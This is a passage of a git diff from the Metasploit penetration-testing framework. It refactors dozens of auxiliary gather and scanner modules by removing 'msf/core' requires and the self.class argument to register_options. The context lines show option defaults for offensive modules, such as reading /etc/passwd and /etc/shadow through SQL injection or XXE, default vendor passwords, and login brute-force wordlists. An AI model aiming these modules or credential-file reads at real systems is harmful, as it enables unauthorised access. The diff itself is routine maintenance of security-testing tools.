Joomla directory path", '/']), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]), OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0]) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb index 0c03892dcf..fc7d164d45 100644 --- a/modules/auxiliary/gather/kerberos_enumusers.rb +++ b/modules/auxiliary/gather/kerberos_enumusers.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Kerberos::Client diff --git a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb index 34eb781aaa..08f837e281 100644 --- a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb +++ b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWD', [true, 'The default Admin password', '12345678']), OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20]) - ], self.class) + ]) end # Creates the XML data to be sent that will extract AuthKey diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 6a02397f32..d384f3e8fc 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('DATABASE', [true, 'The Lansweeper database', 'lansweeperdb']) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/mantisbt_admin_sqli.rb b/modules/auxiliary/gather/mantisbt_admin_sqli.rb index 689d06f303..689432adca 100644 --- a/modules/auxiliary/gather/mantisbt_admin_sqli.rb +++ b/modules/auxiliary/gather/mantisbt_admin_sqli.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, 'Single username', 'administrator']), OptString.new('PASSWORD', [ true, 'Single password', 'root']), OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/']) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index 43b4c9c418..727d9339e8 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -52,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/memcached_extractor.rb b/modules/auxiliary/gather/memcached_extractor.rb index 43be2275a3..5964c69dd2 100644 --- a/modules/auxiliary/gather/memcached_extractor.rb +++ b/modules/auxiliary/gather/memcached_extractor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb index cfa322a485..d2b94833ff 100644 --- a/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb +++ b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]']) - ], self.class) + ]) end def syntaxes diff --git a/modules/auxiliary/gather/ms14_052_xmldom.rb b/modules/auxiliary/gather/ms14_052_xmldom.rb index 527a1c54ef..cdad77cd51 100644 --- a/modules/auxiliary/gather/ms14_052_xmldom.rb +++ b/modules/auxiliary/gather/ms14_052_xmldom.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/jsobfu' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/gather/mybb_db_fingerprint.rb b/modules/auxiliary/gather/mybb_db_fingerprint.rb index 1aa5ebf20d..2a93da78e9 100644 --- a/modules/auxiliary/gather/mybb_db_fingerprint.rb +++ b/modules/auxiliary/gather/mybb_db_fingerprint.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -27,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [ true, "MyBB forum directory path", '/forum']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb index 84dd32c677..10a4135613 100644 --- a/modules/auxiliary/gather/natpmp_external_address.rb +++ b/modules/auxiliary/gather/natpmp_external_address.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 0be849fa98..5f3c6b2f5e 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/']) - ], self.class) + ]) end # @return substring of 'text', usually a response from a server in this case diff --git a/modules/auxiliary/gather/opennms_xxe.rb b/modules/auxiliary/gather/opennms_xxe.rb index 77ba454fa7..2d466ce400 100644 --- a/modules/auxiliary/gather/opennms_xxe.rb +++ b/modules/auxiliary/gather/opennms_xxe.rb @@ -1,4 +1,3 @@ -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -41,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/safari_file_url_navigation.rb b/modules/auxiliary/gather/safari_file_url_navigation.rb index 939b346978..5f6ccbf6c9 100644 --- a/modules/auxiliary/gather/safari_file_url_navigation.rb +++ b/modules/auxiliary/gather/safari_file_url_navigation.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' require 'msf/core/exploit/format/webarchive' class MetasploitModule < Msf::Auxiliary @@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]), OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]) - ], self.class) + ]) end def lookup_lhost(c=nil) diff --git a/modules/auxiliary/gather/search_email_collector.rb b/modules/auxiliary/gather/search_email_collector.rb index 0867c62da5..bdc3def243 100644 --- a/modules/auxiliary/gather/search_email_collector.rb +++ b/modules/auxiliary/gather/search_email_collector.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/http' class MetasploitModule < Msf::Auxiliary @@ -27,14 +26,14 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('SEARCH_YAHOO', [ true, 'Enable Yahoo! as a backend search engine', true]), OptString.new('OUTFILE', [ false, "A filename to store the generated email list"]), - ], self.class) + ]) register_advanced_options( [ OptString.new('PROXY', [ false, "Proxy server to route connection. :",nil]), OptString.new('PROXY_USER', [ false, "Proxy Server User",nil]), OptString.new('PROXY_PASS', [ false, "Proxy Server Password",nil]) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/searchengine_subdomains_collector.rb b/modules/auxiliary/gather/searchengine_subdomains_collector.rb index af91d65673..37ad5ca502 100644 --- a/modules/auxiliary/gather/searchengine_subdomains_collector.rb +++ b/modules/auxiliary/gather/searchengine_subdomains_collector.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('IP_SEARCH', [ false, "Enable ip of subdomains to locate subdomains", true]), OptBool.new('ENUM_BING', [ true, "Enable Bing Search Subdomains", true]), OptBool.new('ENUM_YAHOO', [ true, "Enable Yahoo Search Subdomains", true]) - ], self.class) + ]) deregister_options('RHOST', 'RPORT', 'VHOST', 'SSL', 'Proxies') end diff --git a/modules/auxiliary/gather/shodan_honeyscore.rb b/modules/auxiliary/gather/shodan_honeyscore.rb index d792d6029d..b525589c60 100644 --- a/modules/auxiliary/gather/shodan_honeyscore.rb +++ b/modules/auxiliary/gather/shodan_honeyscore.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary def initialize(info = {}) @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGET', [true, 'The target to get the score of']), OptString.new('SHODAN_APIKEY', [true, 'The SHODAN API key']) - ], self.class) + ]) end def print_score(score) diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 41c542930f..94a4e57d19 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'net/https' require 'uri' @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]), OptRegexp.new('REGEX', [true, 'Regex search for a specific IP/City/Country/Hostname', '.*']) - ], self.class) + ]) end # create our Shodan query function that performs the actual web request diff --git a/modules/auxiliary/gather/snare_registry.rb b/modules/auxiliary/gather/snare_registry.rb index 9272f05bd5..3cff87c04c 100644 --- a/modules/auxiliary/gather/snare_registry.rb +++ b/modules/auxiliary/gather/snare_registry.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('REG_DUMP_KEY', [ false, 'Retrieve this registry key and all sub-keys', 'HKLM\\HARDWARE\\DESCRIPTION\\System' ]), OptBool.new('REG_DUMP_ALL', [false, 'Retrieve the entire Windows registry', false]), OptInt.new('TIMEOUT', [true, 'Timeout in seconds for downloading each registry key/hive', 300]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/solarwinds_orion_sqli.rb b/modules/auxiliary/gather/solarwinds_orion_sqli.rb index 9565fda3c8..33df6b8f71 100644 --- a/modules/auxiliary/gather/solarwinds_orion_sqli.rb +++ b/modules/auxiliary/gather/solarwinds_orion_sqli.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']), OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']), OptString.new('PASSWORD', [false, 'The password to authenticate with', '']) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index bbe30918cd..5e46a8aa4a 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'active_support/inflector' require 'json' require 'active_support/core_ext/hash' @@ -439,7 +438,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('USECACHE', [true, 'Use cached results (if available), else force live scan', true]), OptBool.new('GRADE', [true, 'Output only the hostname: grade', false]), OptBool.new('IGNOREMISMATCH', [true, 'Proceed with assessments even when the server certificate doesn\'t match the assessment hostname', true]) - ], self.class) + ]) end def report_good(line) diff --git a/modules/auxiliary/gather/trackit_sql_domain_creds.rb b/modules/auxiliary/gather/trackit_sql_domain_creds.rb index aec7e5269b..cb25f2d1d7 100644 --- a/modules/auxiliary/gather/trackit_sql_domain_creds.rb +++ b/modules/auxiliary/gather/trackit_sql_domain_creds.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary [ OptPort.new('RPORT', [true, '.NET remoting service port', 9010]) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb index 0259e3f95c..ea0150c9a9 100644 --- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb +++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new("NODE", [false, 'Valid Node ID']), OptInt.new("MINNODE", [true, 'Valid Node ID', 1]), OptInt.new("MAXNODE", [true, 'Valid Node ID', 100]) - ], self.class) + ]) end def exists_node?(id) diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index 4931f25f88..02c8572cc1 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/dcerpc' require 'rex/parser/unattend' @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(445), OptString.new('SMBDomain', [ false, "SMB Domain", '']), - ], self.class) + ]) deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') end diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index c373f7da95..52732b8c6e 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('MAXTIME', [ true, 'The maximum number of seconds to wait for the export to complete', 300 ]) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb index 6531db1dc8..6a180aac2b 100644 --- a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb +++ b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'csv' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index b5de7b700e..5299a4df4b 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']), OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]), OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25]) - ], self.class) + ]) end def table_prefix diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb index b10ecd8589..4ec8fe9198 100644 --- a/modules/auxiliary/gather/xbmc_traversal.rb +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('DEPTH', [true, 'The max traversal depth', 9]), OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'xbmc']), OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'xbmc']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/xerox_pwd_extract.rb b/modules/auxiliary/gather/xerox_pwd_extract.rb index 37bbb39e81..bb586fba73 100644 --- a/modules/auxiliary/gather/xerox_pwd_extract.rb +++ b/modules/auxiliary/gather/xerox_pwd_extract.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptPort.new('RPORT', [true, 'Web management console port for the printer', 80]), OptPort.new('JPORT', [true, 'Jetdirect port', 9100]), OptInt.new('TIMEOUT', [true, 'Timeout to wait for printer job to run', 45]) - ], self.class) + ]) end def jport diff --git a/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb index 0dc5277b72..d782869d5f 100644 --- a/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb +++ b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::TcpServer @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]), OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]), OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/zabbix_toggleids_sqli.rb b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb index 6f28b339a0..62d4bfbc75 100644 --- a/modules/auxiliary/gather/zabbix_toggleids_sqli.rb +++ b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']), OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']), OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/gather/zoomeye_search.rb b/modules/auxiliary/gather/zoomeye_search.rb index 19a9f42201..35be6e0b91 100644 --- a/modules/auxiliary/gather/zoomeye_search.rb +++ b/modules/auxiliary/gather/zoomeye_search.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/http' class MetasploitModule < Msf::Auxiliary @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('ZOOMEYE_DORK', [true, 'The ZoomEye Dock']), OptEnum.new('RESOURCE', [true, 'ZoomEye Resource Type', 'host', ['host', 'web']]), OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]) - ], self.class) + ]) end # Check to see if api.zoomeye.org resolves properly diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index b799364b31..1c0a25db36 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/parser/unattend' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index aaf8bc43fa..b6dd1b42e9 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Auxiliary @@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']), OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb index ea91ad047d..d5725b3fc6 100644 --- a/modules/auxiliary/scanner/acpp/login.rb +++ b/modules/auxiliary/scanner/acpp/login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/acpp' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/acpp' @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(Rex::Proto::ACPP::DEFAULT_PORT) - ], self.class) + ]) deregister_options( # there is no username, so remove all of these options diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index 79ff59603a..6a810b66f9 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'openssl' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/afp' diff --git a/modules/auxiliary/scanner/afp/afp_server_info.rb b/modules/auxiliary/scanner/afp/afp_server_info.rb index b8de8c4b40..49a229d04e 100644 --- a/modules/auxiliary/scanner/afp/afp_server_info.rb +++ b/modules/auxiliary/scanner/afp/afp_server_info.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb index c2925cb87d..d0d069d51a 100644 --- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb +++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(7777), - ], self.class) + ]) end def trojan_encode(str) diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb index 3dc4381ead..3a72bac98c 100644 --- a/modules/auxiliary/scanner/chargen/chargen_probe.rb +++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index a554debb74..53448ff230 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']), OptString.new('HttpUsername', [false, 'The username to login as']), OptString.new('HttpPassword', [false, 'The password to login with']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb index 883ec782e8..6bb3c0039d 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]), - ], self.class) + ]) deregister_options('HttpUsername', 'HttpPassword') end diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 01a50ca23e..dd63954eab 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/db2' @@ -38,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "db2_default_user.txt") ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "db2_default_pass.txt") ]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/db2/db2_version.rb b/modules/auxiliary/scanner/db2/db2_version.rb index 3344d38509..be8b87446c 100644 --- a/modules/auxiliary/scanner/db2/db2_version.rb +++ b/modules/auxiliary/scanner/db2/db2_version.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('TIMEOUT', [true, 'Timeout for the DB2 probe', 5]) - ], self.class) + ]) deregister_options('USERNAME' , 'PASSWORD') end diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index 01dee58103..1edaf9cbf6 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -19,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options([Opt::RPORT(523),], self.class) + register_options([Opt::RPORT(523),]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb index f451ba0dbc..7d3522708a 100644 --- a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb +++ b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(135) - ], self.class) + ]) end # Obtain information about a single host diff --git a/modules/auxiliary/scanner/dcerpc/hidden.rb b/modules/auxiliary/scanner/dcerpc/hidden.rb index 379d331e20..72aa9548b2 100644 --- a/modules/auxiliary/scanner/dcerpc/hidden.rb +++ b/modules/auxiliary/scanner/dcerpc/hidden.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/dcerpc/management.rb b/modules/auxiliary/scanner/dcerpc/management.rb index fc84d4d9b8..318325a54d 100644 --- a/modules/auxiliary/scanner/dcerpc/management.rb +++ b/modules/auxiliary/scanner/dcerpc/management.rb @@ -4,8 +4,6 @@ ## -require 